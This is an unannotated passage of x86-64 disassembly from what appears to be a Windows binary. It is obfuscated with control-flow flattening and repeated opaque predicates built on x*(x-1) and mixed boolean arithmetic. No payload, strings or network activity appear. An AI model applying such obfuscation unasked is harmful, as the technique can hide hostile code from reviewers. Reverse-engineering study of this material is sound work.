xor cl, bl
or cl, dl
mov eax, r8d
xor al, 1
xor cl, 1
mov edx, eax
and dl, r8b
mov ebx, eax
xor bl, dl
xor dl, 1
or dl, r8b
xor dl, 1
or dl, bl
xor dl, cl
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0xc16bfdb
mov ebp, 0x545226d7
cmovne eax, ebp
test cl, 1
mov ecx, 0xc16bfdb
jmp 0x1400c9d43
cmp ecx, 0xd78853fe
je 0x1400c8605
cmp ecx, 0xdb180722
jne 0x1400bca50
mov ecx, dword [0x14024b728]
mov esi, dword [0x14024b724]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
mov ebp, edx
xor ebp, 0xfffffffe
and ebp, ecx
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
mov edx, ecx
xor edx, 0xc0febe8
and edx, ecx
or ecx, 0xf3f01417
mov ebp, ecx
not ebp
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x9307973d
and ebp, 0xc0868c0
or ebp, edi
or ecx, ebx
and ebx, 0x9307973d
and edx, 0x6cf868c2
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0xf3f01417
and ecx, 0xc0febe8
or ecx, edx
sete cl
setne bl
cmp esi, 9
setg al
cmp esi, 0xa
setl dl
mov r9d, edx
xor r9b, bl
mov r8d, r9d
xor r8b, 1
and al, cl
and bl, dl
or bl, al
mov eax, edx
and al, cl
xor dl, cl
or dl, al
mov eax, edx
xor al, bl
xor bl, 1
xor al, 1
or bl, dl
xor bl, 1
or bl, al
mov ecx, ebx
xor cl, 1
and cl, bl
xor cl, 1
mov eax, ebx
xor al, cl
or cl, bl
xor cl, 1
or cl, al
mov ebx, ecx
xor bl, 1
mov eax, r8d
and al, r9b
and bl, cl
mov edx, eax
xor dl, 1
xor al, r8b
or dl, r9b
xor dl, 1
or dl, al
mov eax, ebx
and al, cl
xor bl, cl
or bl, al
mov eax, edx
xor al, 1
and al, bl
xor bl, 1
and bl, dl
or bl, al
mov eax, r8d
xor al, cl
or cl, r8b
xor cl, 1
or cl, al
mov eax, ecx
xor al, bl
test cl, 1
mov ecx, 0xda2f22
mov edx, 0x7989833f
cmovne ecx, edx
test bl, 1
cmove ecx, edx
test al, 1
mov eax, 0xda2f22
jmp 0x1400ca6f6
cmp ecx, 0xb86f912c
je 0x1400c878f
cmp ecx, 0xb9d49e9f
jne 0x1400bca50
mov ecx, 0x560805cd
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
cmp ecx, 0xffcfca88
je 0x1400c87a5
cmp ecx, 0x4ca468
jne 0x1400bca50
mov eax, dword [0x14024b728]
mov ecx, dword [0x14024b724]
lea ebx, [rax - 1]
imul ebx, eax
mov eax, ebx
not eax
mov ebp, eax
and ebp, 0xfffffffe
mov edx, ebx
xor edx, 0xfffffffe
and edx, ebx
mov edi, ebp
and edi, edx
xor edx, ebp
or edx, edi
mov ebp, edx
not ebp
and eax, ebp
and edx, ebx
or edx, eax
xor ebp, edx
test ebp, edx
setne r8b
sete r9b
cmp ecx, 9
setg al
cmp ecx, 0xa
setl dl
mov ecx, r9d
xor cl, r8b
and cl, r9b
xor cl, 1
mov ebx, ecx
or bl, dl
xor bl, 1
xor cl, dl
not cl
and cl, dl
mov r10d, ebx
and r10b, cl
xor cl, bl
or cl, r10b
and r8b, dl
and al, r9b
or al, r8b
mov ebx, edx
and bl, r9b
xor dl, r9b
or dl, bl
mov ebx, edx
xor bl, al
xor al, 1
xor bl, 1
or al, dl
xor al, 1
or al, bl
mov edx, eax
xor dl, 1
mov ebx, ecx
xor bl, al
and bl, cl
and al, cl
xor cl, 1
and cl, dl
or al, cl
mov ecx, ebx
xor cl, al
test cl, 1
mov edx, 0x8005aa08
mov ebp, 0x1d8a9b92
cmovne edx, ebp
test al, 1
mov ecx, edx
cmovne ecx, ebp
test bl, 1
jmp 0x1400c9dae
cmp ecx, 0x8170b529
je 0x1400c886f
cmp ecx, 0x8260a302
jne 0x1400bca50
mov ecx, dword [0x14024b728]
mov eax, dword [0x14024b724]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x974d8ab6
and edx, 0x68b27549
or edx, ecx
mov ecx, edx
xor ecx, 0x48823549
xor edx, 0x1400a82
and edx, 0x21704a82
and ecx, 0xde8fb57d
or ecx, edx
mov edx, ecx
xor edx, 0x21704a82
mov esi, ecx
xor esi, 0x21704a83
and esi, edx
xor ecx, 0xde8fb57c
and ecx, 0xfffffffe
and edx, 1
or edx, ecx
mov ebp, esi
not ebp
mov ebx, edx
not ebx
mov edi, ebp
and edi, 0x64b2e924
and esi, 0x9b4d16db
or esi, edi
or ebp, ebx
and ebx, 0x64b2e924
and edx, 0x9b4d16db
or edx, ebx
xor edx, esi
not ebp
or ebp, edx
mov edx, ebp
mov ecx, ebp
xor ecx, 0x7490eb
and ecx, ebp
not ebp
and ebp, 0x348043
and edx, 0x4010a8
or edx, ebp
xor edx, 0x4010a8
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xbc538816
and ecx, 0x43ac77e9
or ecx, edx
xor ecx, 0x43d8e702
sete cl
setne dl
cmp eax, 0xa
setl r8b
cmp eax, 9
setg al
mov r9d, edx
and r9b, al
mov ebx, r8d
and bl, cl
or bl, r9b
xor al, bl
and al, bl
or dl, r8b
xor dl, 1
xor cl, r8b
and cl, r8b
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
xor al, 1
xor cl, 1
mov edx, eax
or dl, cl
xor cl, al
mov eax, edx
xor al, cl
test al, 1
mov eax, 0x2a6960c4
mov ebp, 0x9d67a79d
cmovne eax, ebp
test cl, 1
mov ecx, eax
mov ebp, 0x2a6960c4
jmp 0x1400ca4ed
cmp ecx, 0xbff0d306
je 0x1400c8885
cmp ecx, 0xc102f8ca
jne 0x1400bca50
mov ecx, 0x8e71e4d6
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
cmp ecx, 0x9d67a79d
je 0x1400c899e
cmp ecx, 0x9ea41112
jne 0x1400bca50
mov ecx, dword [0x14024b728]
mov eax, dword [0x14024b724]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
mov ebp, edx
xor ebp, 0xfffffffe
and ebp, ecx
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
mov edx, ecx
not edx
and edx, 0xc0b98250
and ecx, 0x3f467daf
or ecx, edx
mov edx, ecx
xor edx, 0x2f04548b
xor ecx, 0xc0b98250
mov ebp, ecx
and ebp, 0x90cb2b24
and edx, 0x6f34d4db
or edx, ebp
xor edx, 0x6f34d4db
or edx, ecx
cmp edx, 0xffffffff
sete r9b
setne r10b
cmp eax, 0xa
setl r8b
cmp eax, 9
setg al
mov edx, eax
xor dl, r8b
and dl, al
mov r11d, r10d
xor r11b, r9b
and r11b, r10b
mov ebx, edx
xor bl, 1
mov ecx, ebx
and cl, dl
mov esi, ebx
xor sil, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, sil
xor cl, 1
or bl, dl
xor bl, 1
mov edx, ecx
and dl, bl
xor bl, cl
or bl, dl
mov ecx, r11d
xor cl, 1
mov edx, r11d
and dl, cl
mov esi, edx
and sil, r11b
xor dl, r11b
or dl, sil
or cl, r11b
xor cl, 1
mov r11d, edx
and r11b, cl
xor cl, dl
or cl, r11b
xor bl, 1
mov edx, ebx
xor dl, cl
xor dl, 1
and dl, cl
or bl, cl
xor bl, 1
mov ecx, edx
and cl, bl
xor bl, dl
or bl, cl
mov ecx, eax
xor cl, r9b
and cl, al
and r10b, r8b
and al, r9b
or al, r10b
xor cl, 1
xor al, 1
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, 1
mov edx, ebx
xor dl, 1
and al, cl
mov r8d, eax
and r8b, cl
xor al, cl
or al, r8b
and dl, al
xor al, 1
and al, bl
or al, dl
mov edx, ebx
xor dl, cl
or cl, bl
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0x8baeafab
mov ebp, 0x2875dde5
cmovne edx, ebp
test cl, 1
mov ecx, 0x8baeafab
jmp 0x1400c5f6d
cmp ecx, 0xe13ae3cf
je 0x1400c8a83
cmp ecx, 0xe18a1b48
jne 0x1400bca50
mov ecx, 0x13f4c1f6
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
cmp ecx, 0x32a94c3c
je 0x1400c8bdf
cmp ecx, 0x34951a5b
jne 0x1400bca50
mov ecx, 0xbeaf29b8
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
cmp ecx, 0x52fc7190
je 0x1400c8bf5
cmp ecx, 0x545226d7
jne 0x1400bca50
mov ecx, 0xc16bfdb
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
cmp ecx, 0x13f4c1f6
je 0x1400c8c0b
cmp ecx, 0x14bb047a
jne 0x1400bca50
mov ecx, dword [0x14024b728]
mov r8d, dword [0x14024b724]
lea edx, [rcx - 1]
imul edx, ecx
mov ebp, edx
not ebp
mov ebx, edx
or ebx, 0x691c5275
mov edi, ebx
not edi
mov ecx, edx
xor ecx, 0x96e3ad8a
and ecx, edx
mov esi, ecx
not esi
mov eax, ebx
and eax, 0x7bedd10e
and edi, 0x84022c80
or edi, eax
or ebx, esi
and esi, 0x7bedd10e
and ecx, 0x84122ef1
or ecx, esi
xor ecx, edi
not ebx
or ebx, ecx
mov eax, ebx
not eax
and eax, 0x8e5ade64
and ebx, 0x71a5219b
or ebx, eax
mov eax, ebx
xor eax, 0xe7468c10
and ebp, 0x21797ec0
and edx, 0xde86813f
or edx, ebp
mov ecx, edx
xor ecx, 0xde86813f
xor ebx, 0x18b973ef
and ecx, ebx
xor edx, 0x21797ec0
and edx, eax
or edx, ecx
not edx
or edx, ebx
cmp edx, 0xffffffff
sete al
setne r9b
cmp r8d, 0xa
setl dl
cmp r8d, 9
setg bl
xor r9b, bl
xor bl, al
mov ecx, edx
and cl, al
xor dl, al
or dl, cl
mov eax, ebx
xor al, dl
or dl, bl
xor dl, 1
or dl, al
mov eax, edx
not al
mov ebx, r9d
xor bl, 1
and al, bl
or bl, dl
and dl, r9b
or dl, al
mov eax, ebx
xor al, dl
test al, 1
mov eax, 0x30aba05
mov ecx, 0x708abacb
cmovne eax, ecx
test dl, dl
mov ecx, eax
mov edx, 0x30aba05
cmovne ecx, edx
test bl, 1
jmp 0x1400ca4f3
cmp ecx, 0x72c482b6
je 0x1400c8d93
cmp ecx, 0x7386fee6
jne 0x1400bca50
mov ecx, dword [0x14024b728]
mov eax, dword [0x14024b724]
lea edx, [rcx - 1]
imul edx, ecx
mov ebp, edx
not ebp
mov ecx, ebp
and ecx, 0x2010acd4
mov ebx, edx
and ebx, 0xdfef532a
or ebx, ecx
xor ebx, 0xdfef532a
mov ecx, edx
xor ecx, 0xfffffffe
and ecx, edx
mov edi, ebx
and edi, ecx
xor ecx, ebx
or ecx, edi
mov ebx, ecx
not ebx
and ebp, 0x2af0a9d7
and edx, 0xd50f5628
or edx, ebp
mov ebp, edx
xor ebp, 0x44408
xor edx, 0x2af0a9d7
mov edi, ecx
and edi, 0xf73b13f2
and ebx, 0x8c4ec0d
or ebx, edi
or ecx, edx
and edx, 0xf73b13f2
and ebp, 0x8c4ec0d
or ebp, edx
xor ebp, ebx
not ecx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x30523ed0
and ecx, 0xcfadc12f
or ecx, edx
xor ecx, 0xcfadc12f
setne cl
cmp eax, 0xa
setl dl
cmp eax, 9
setg al
mov r8d, eax
xor r8b, cl
xor dl, cl
xor al, dl
and al, dl
mov ecx, eax
xor cl, 1
mov edx, ecx
and dl, al
xor dl, 1
mov ebx, eax
xor bl, dl
or dl, al
xor dl, 1
or dl, bl
mov eax, edx
and dl, r8b
xor r8b, 1
xor al, 1
and al, r8b
or dl, al
mov eax, ecx
and al, r8b
xor cl, r8b
or cl, al
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0x254a04ea
mov ebp, 0x10929617
cmovne eax, ebp
test cl, cl
mov ecx, 0x254a04ea
jmp 0x1400c79b7
cmp ecx, 0x4ea8e1dc
je 0x1400c8f47
cmp ecx, 0x4ee3fc14
jne 0x1400bca50
mov ecx, 0x8732776b
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
cmp ecx, 0xc16bfdb
je 0x1400c8f5d
cmp ecx, 0xc8c1392
jne 0x1400bca50
jmp 0x1400bc99c
cmp ecx, 0x69f6368b
je 0x1400c908a
cmp ecx, 0x6d581f7a
jne 0x1400bca50
mov rax, qword [rsp + 0x30]
mov eax, dword [0x14024b728]
mov ecx, dword [0x14024b724]
lea edi, [rax - 1]
imul edi, eax
mov eax, edi
not eax
mov ebp, eax
and ebp, 0x52624c26
mov edx, edi
and edx, 0xad9db3d8
or edx, ebp
xor edx, 0xad9db3d8
mov ebx, edi
and ebx, 1
or ebx, edx
mov edx, ebx
not edx
mov ebp, ebx
and ebp, 0xc7c48674
and edx, 0x383b798b
or edx, ebp
or ebx, edi
and edi, 0xc7c48674
and eax, 0x383b798b
or eax, edi
xor eax, edx
not ebx
or ebx, eax
cmp ebx, 0xffffffff
sete al
setne dl
cmp ecx, 0xa
setl r9b
cmp ecx, 9
setg r8b
mov ebx, edx
and bl, r8b
mov ecx, r9d
and cl, al
or cl, bl
xor cl, 1
or cl, r8b
mov r8d, ecx
xor r8b, 1
or dl, r9b
xor dl, 1
xor al, r9b
and al, r9b
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov ebx, r8d
and bl, cl
mov edx, ebx
xor dl, 1
xor bl, r8b
or dl, cl
xor dl, 1
or dl, bl
xor dl, al
xor al, 1
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xe18a1b48
mov ebp, 0xb4c2b9fb
cmovne ecx, ebp
test al, 1
mov eax, 0xe18a1b48
jmp 0x1400bca41
cmp ecx, 0x8d476257
je 0x1400c9163
cmp ecx, 0x8d8424e4
jne 0x1400bca50
mov ecx, 0x7b5d620b
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
cmp ecx, 0xcf41534f
je 0x1400c9261
cmp ecx, 0xcf4194ab
jne 0x1400bca50
mov eax, dword [0x14024b728]
lea ecx, [rax - 1]
imul ecx, eax
mov edx, ecx
not edx
mov eax, edx
and eax, 0x9c0e81f4
and ecx, 0x63f17e0b
or ecx, eax
mov ebp, ecx
xor ebp, 0x60010001
xor ecx, 0x8008000
or edx, 0xeb13fb29
mov eax, edx
not eax
or ecx, 0x40040
and ecx, 0xb14fa48
and ebp, 0xe0030121
or ebp, ecx
and edx, 0xb14fa48
and eax, 0x14e80496
or eax, edx
xor eax, ebp
mov ecx, eax
not ecx
and ecx, 0x14ec04d6
and eax, 0xeb13fb29
or eax, ecx
mov ecx, eax
xor ecx, 1
and ecx, eax
mov edx, eax
not edx
and edx, 0xc01ae485
and eax, 0x3fe51b7a
or eax, edx
xor eax, 0x3fe51b7b
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov ecx, eax
xor ecx, 0x88e83380
and ecx, eax
not eax
and eax, 0x88e83380
mov edx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
mov eax, ecx
not eax
and eax, 0x7717cc7f
and ecx, 0x88e83380
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x1e466ee4
and eax, 0xe1b9911b
or eax, ecx
mov ecx, eax
xor ecx, 0x24668a4
xor eax, 0x21800101
and eax, 0x3d800741
and ecx, 0xc27ff8be
or ecx, eax
xor ecx, 0xc27ff8be
sete al
setne cl
cmp dword [0x14024b724], 9
setg dl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov ebx, edx
xor bl, al
not bl
and bl, al
or dl, al
xor dl, 1
mov eax, ebx
and al, dl
xor dl, bl
or dl, al
mov eax, ecx
xor al, dl
xor dl, 1
or dl, cl
mov ecx, eax
xor cl, dl
test al, al
mov eax, 0x9249c0d9
mov ebp, 0x94d8285
cmovne eax, ebp
test dl, 1
cmovne eax, ebp
not cl
test cl, 1
mov ecx, 0x9249c0d9
jmp 0x1400bca47
cmp ecx, 0xadc5b0ce
je 0x1400c9277
cmp ecx, 0xae2e2aa5
jne 0x1400bca50
mov ecx, dword [0x14024b728]
mov esi, dword [0x14024b724]
lea edx, [rcx - 1]
imul edx, ecx
mov edi, edx
not edi
mov ebx, edi
and ebx, 0x722b3621
mov ecx, edx
and ecx, 0x8dd4c9de
or ecx, ebx
mov ebx, ecx
xor ebx, 0x8090c1d8
xor ecx, 0x32212200
mov ebp, edi
or ebp, 0x3f652a06
or ecx, 1
and ecx, 0x3f652a07
and ebx, 0xc09ad5f8
or ebx, ecx
and ebp, 0x3f652a07
xor ebp, ebx
not ebp
and edi, 0x50220b12
and edx, 0xafddf4ed
or edx, edi
xor edx, 0xafddf4ed
mov ecx, ebp
and ecx, edx
xor edx, ebp
or edx, ecx
cmp edx, 0xffffffff
sete r8b
setne al
cmp esi, 0xa
setl r11b
cmp esi, 9
setg r9b
mov edx, eax
xor dl, r8b
and dl, al
mov eax, edx
xor al, 1
mov ebx, eax
and bl, dl
mov r10d, eax
and r10b, bl
xor bl, al
or bl, r10b
or al, dl
mov edx, ebx
xor dl, al
or al, bl
xor al, 1
or al, dl
xor al, 1
mov edx, eax
or dl, r9b
xor dl, 1
xor al, r9b
not al
and al, r9b
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, r9d
xor dl, r8b
and dl, r9b
xor r11b, r8b
mov ebx, edx
xor bl, 1
xor dl, r11b
xor r11b, 1
or r11b, bl
xor r11b, 1
or r11b, dl
mov ecx, r11d
xor cl, 1
mov edx, ecx
and dl, r11b
xor cl, dl
xor dl, 1
or dl, r11b
xor dl, 1
or dl, cl
mov ecx, eax
xor cl, 1
and cl, dl
xor dl, 1
mov ebx, eax
xor bl, dl
and bl, al
and dl, al
or dl, cl
mov eax, ebx
xor al, dl
test dl, 1
mov ecx, 0x52d1d47b
mov edx, 0x36017c2f
cmovne ecx, edx
test bl, 1
mov ebp, 0x52d1d47b
jmp 0x1400c3c62
cmp ecx, 0xf1c9a4ed
je 0x1400c928d
cmp ecx, 0xf23375e2
jne 0x1400bca50
mov edx, dword [0x14024b728]
mov eax, dword [0x14024b724]
lea edi, [rdx - 1]
imul edi, edx
mov ebp, edi
not ebp
mov ecx, edi
or ecx, 1
mov ebx, ecx
not ebx
mov edx, edi
or edx, 0x2922ef32
and ecx, 0x2922ef32
and ebx, 0xd6dd10cc
or ebx, ecx
and edx, 0x2922ef33
xor edx, ebx
and ebp, 0x566e34d3
and edi, 0xa991cb2c
or edi, ebp
mov ecx, edi
xor ecx, 0x810104
mov ebp, edx
not ebp
mov ebx, ebp
and ebx, 0xef30cae9
and edx, 0x10cf3516
or edx, ebx
xor edi, 0x462000c1
and edi, 0xef30cae9
and ecx, 0x10cf3516
or ecx, edi
xor ecx, edx
xor ebp, ecx
test ebp, ecx
sete cl
setne r8b
cmp eax, 0xa
setl bl
cmp eax, 9
setg dl
mov eax, edx
and cl, dl
and dl, r8b
xor al, r8b
or al, dl
xor al, 1
and bl, r8b
or cl, bl
xor cl, al
mov edx, ecx
not dl
and dl, al
mov eax, ecx
xor al, dl
test cl, cl
mov ecx, 0x4dc8d516
mov ebp, 0xae2e2aa5
cmovne ecx, ebp
test dl, dl
mov edx, 0x4dc8d516
jmp 0x1400c7b56
cmp ecx, 0x88255285
je 0x1400c92a3
cmp ecx, 0x88bb1eea
jne 0x1400bca50
mov edx, dword [0x14024b728]
mov r8d, dword [0x14024b724]
lea ebx, [rdx - 1]
imul ebx, edx
mov eax, ebx
not eax
mov ecx, ebx
xor ecx, 0x85ca9a79
and ecx, ebx
mov edx, ebx
or edx, 0x7a356586
mov edi, ecx
not edi
mov esi, edx
and esi, 0x722102ca
mov ebp, eax
and ebp, 0x85ca9831
or ebp, esi
or edx, edi
and edi, 0x722102ca
and ecx, 0x8ddefd35
or ecx, edi
xor ecx, ebp
not edx
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x7a356587
and edx, 0x85ca9a78
or edx, ecx
mov ecx, edx
not ecx
mov ebp, edx
and ebp, 0xc26c7545
and ecx, 0x3d938aba
or ecx, ebp
or edx, ebx
and ebx, 0xc26c7545
and eax, 0x3d938aba
or eax, ebx
xor eax, ecx
not edx
or edx, eax
cmp edx, 0xffffffff
sete al
setne r9b
cmp r8d, 9
setg dl
cmp r8d, 0xa
setl bl
mov ecx, ebx
xor cl, r9b
xor cl, 1
or cl, dl
and al, dl
and bl, r9b
or bl, al
mov eax, ecx
xor al, bl
xor bl, 1
or bl, cl
mov ecx, eax
xor cl, bl
test al, al
mov eax, 0xa6368b63
mov edx, 0xd210a0ae
cmovne eax, edx
test bl, bl
cmovne eax, edx
not cl
test cl, 1
mov ecx, 0xa6368b63
jmp 0x1400bca47
cmp ecx, 0xcc5aeeb4
je 0x1400c9351
cmp ecx, 0xccc6a1ae
jne 0x1400bca50
mov eax, dword [0x14024b728]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
xor edx, 0xfffffffe
and edx, eax
and ecx, 0x8a8395f6
and eax, 0x757c6a09
or eax, ecx
xor eax, 0x757c6a08
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
mov ecx, eax
xor ecx, 0xbc62e780
and ecx, eax
not eax
and eax, 0xbc62e780
mov edx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
mov eax, ecx
not eax
and eax, 0x439d187f
and ecx, 0xbc62e780
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x4fca0b64
and eax, 0xb035f49b
or eax, ecx
xor eax, 0xb035f49b
sete al
setne cl
cmp dword [0x14024b724], 9
setg dl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov ebx, edx
xor bl, al
not bl
and bl, al
or dl, al
xor dl, 1
mov eax, ebx
and al, dl
xor dl, bl
or dl, al
mov eax, edx
and dl, cl
xor cl, 1
xor al, 1
mov ebx, ecx
xor bl, al
and bl, cl
and al, cl
or al, dl
mov ecx, ebx
xor cl, al
test cl, 1
mov ecx, 0x235762ac
mov edx, 0x645a4b7b
cmovne ecx, edx
test al, al
mov eax, ecx
jmp 0x1400c4181
cmp ecx, 0xa3e65821
je 0x1400c9367
cmp ecx, 0xa5581a62
jne 0x1400bca50
mov eax, dword [0x14024b728]
mov ecx, dword [0x14024b724]
lea ebx, [rax - 1]
imul ebx, eax
mov eax, ebx
not eax
mov ebp, eax
and ebp, 0xa5a288c6
mov edx, ebx
and edx, 0x5a5d7739
or edx, ebp
mov ebp, edx
not ebp
and ebp, 0x5a5d7738
and edx, 0xa5a288c7
or edx, ebp
mov ebp, edx
not ebp
and eax, ebp
and edx, ebx
or edx, eax
xor ebp, edx
test ebp, edx
setne r8b
sete dl
cmp ecx, 0xa
setl r11b
cmp ecx, 9
setg cl
mov r9d, ecx
xor r9b, r11b
or r11b, dl
xor dl, cl
and r9b, cl
mov ecx, r9d
xor cl, 1
mov ebx, r9d
and bl, cl
mov r10d, ebx
and r10b, r9b
xor bl, r9b
or bl, r10b
or cl, r9b
mov eax, ecx
xor al, bl
xor bl, 1
xor al, 1
or bl, cl
xor bl, 1
or bl, al
mov eax, ebx
xor al, 1
and bl, al
mov ecx, eax
and cl, bl
xor bl, al
or bl, cl
xor bl, r8b
mov eax, ebx
xor al, 1
mov ecx, r11d
xor cl, dl
or r11b, dl
xor r11b, 1
or r11b, cl
mov ecx, r11d
xor cl, 1
and al, bl
xor al, 1
mov edx, eax
xor dl, bl
or al, bl
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
and dl, cl
and al, r11b
or al, dl
mov ecx, ebx
and cl, r11b
xor r11b, bl
or r11b, cl
mov ecx, r11d
xor cl, al
test cl, 1
mov edx, 0x560805cd
mov ecx, 0xe66208da
cmovne edx, ecx
test r11b, 1
mov ecx, 0x560805cd
jmp 0x1400c5f6d
cmp ecx, 0xe63f5bd7
je 0x1400c94f9
cmp ecx, 0xe66208da
jne 0x1400bca50
mov ecx, dword [0x14024b728]
mov eax, dword [0x14024b724]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
xor ecx, 0x39fa7bcd
and ecx, edx
or edx, 0xc6058432
mov ebp, edx
not ebp
mov ebx, ecx
not ebx
mov edi, edx
and edi, 0x2d31a414
and ebp, 0x10ca5bc9
or ebp, edi
or edx, ebx
and ebx, 0x2d31a414
and ecx, 0xd2ce5beb
or ecx, ebx
xor ecx, ebp
not edx
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0xc6058432
and edx, 0x39fa7bcd
or edx, ecx
mov ecx, edx
mov ebp, edx
xor ebp, 0x36fd4908
and ebp, edx
not edx
and edx, 0xbbd7a009
and ecx, 0x44285ff6
or ecx, edx
mov ebx, ecx
xor ebx, 0x44285ff6
mov edx, ebx
and edx, 0x36fd4908
mov edi, edx
and edi, ebp
xor ebp, edx
or ebp, edi
mov edx, ebp
not edx
and edx, 0xb1e5ce1f
and ebp, 0x4e1a31e0
or ebp, edx
xor ebp, 0x78e778e9
and ebx, 1
xor ecx, 0x44285ff7
or ecx, ebx
not ecx
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
mov edx, ecx
not edx
and ecx, edx
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and ecx, 0x3f2a491d
and edx, 0xc0d5b6e2
or edx, ecx
xor edx, 0xc0d5b6e2
sete r8b
setne r10b
cmp eax, 9
setg cl
cmp eax, 0xa
setl r9b
mov eax, r9d
xor al, cl
and al, r9b
mov ebx, r10d
or bl, al
xor al, 1
or al, r8b
mov edx, eax
xor dl, bl
or al, bl
xor al, 1
or al, dl
mov edx, ecx
xor dl, r8b
and dl, cl
and r10b, r9b
and cl, r8b
or cl, r10b
xor dl, 1
xor cl, 1
mov ebx, edx
xor bl, cl
or cl, dl
xor cl, 1
or cl, bl
mov edx, ecx
xor dl, 1
and cl, dl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, ecx
xor dl, 1
mov r8d, eax
xor r8b, 1
mov ebx, r8d
and bl, al
and dl, cl
mov r9d, r8d
and r9b, bl
xor bl, r8b
or bl, r9b
xor dl, 1
mov r8d, ecx
xor r8b, dl
or dl, cl
xor dl, 1
or dl, r8b
mov r8d, ebx
xor r8b, 1
and r8b, dl
xor dl, 1
and dl, bl
or dl, r8b
mov ebx, eax
xor bl, cl
or cl, al
xor cl, 1
or cl, bl
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0x68f66001
mov ebp, 0xe2953928
cmovne eax, ebp
test cl, 1
mov ecx, 0x68f66001
jmp 0x1400c9d43
cmp ecx, 0x2ef2d512
je 0x1400c9630
cmp ecx, 0x2f6c99d1
jne 0x1400bca50
mov rax, qword [rsp + 0x38]
mov qword [0x14024b060], rax
mov ecx, 0xe13ae3cf
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
cmp ecx, 0x5b5ce7d0
je 0x1400c9785
cmp ecx, 0x60b14406
jne 0x1400bca50
mov ecx, 0xead3b83f
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
cmp ecx, 0x22884e17
je 0x1400c9863
cmp ecx, 0x2308e2fd
jne 0x1400bca50
mov ecx, dword [0x14024b728]
mov eax, dword [0x14024b724]
lea edx, [rcx - 1]
imul edx, ecx
mov edi, edx
not edi
mov ecx, edx
or ecx, 0xff4d4602
mov ebx, edx
and ebx, 0xff4d4602
mov ebp, edi
and ebp, 0xb2b9fc
or ebp, ebx
and ecx, 0xff4d4603
xor ecx, ebp
mov ebp, ecx
not ebp
and edi, 0xda136ff9
and edx, 0x25ec9006
or edx, edi
mov ebx, edx
xor ebx, 0x20a80000
xor edx, 0xda136ff9
mov edi, ecx
and edi, 0xc7559f67
and ebp, 0x38aa6098
or ebp, edi
or ecx, edx
and edx, 0xc7559f67
and ebx, 0x38aa6098
or ebx, edx
xor ebx, ebp
not ecx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x3601152e
and ecx, 0xc9feead1
or ecx, edx
xor ecx, 0xc9feead1
sete r8b
setne bl
cmp eax, 9
setg cl
cmp eax, 0xa
setl r9b
mov eax, ecx
xor cl, bl
or bl, r9b
or al, r8b
mov edx, eax
xor dl, bl
or al, bl
xor al, 1
or al, dl
or r9b, r8b
mov edx, r9d
xor dl, cl
xor cl, 1
xor dl, 1
or cl, r9b
xor cl, 1
or cl, dl
mov edx, eax
xor dl, 1
and al, dl
mov ebx, ecx
mov r8d, edx
and r8b, al
xor al, dl
mov r9d, ecx
mov r10d, edx
and r10b, cl
xor dl, cl
xor cl, 1
and bl, cl
or al, r8b
xor r9b, bl
xor bl, 1
or bl, cl
xor bl, 1
or bl, r9b
xor bl, al
or dl, r10b
mov eax, edx
xor al, bl
test al, 1
mov eax, 0x12a9afb0
mov ecx, 0x78d69ac2
cmovne eax, ecx
test dl, 1
mov ecx, 0x12a9afb0
jmp 0x1400ca5e3
cmp ecx, 0x78d69ac2
je 0x1400c9960
cmp ecx, 0x7989833f
jne 0x1400bca50
mov ecx, 0xdb180722
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
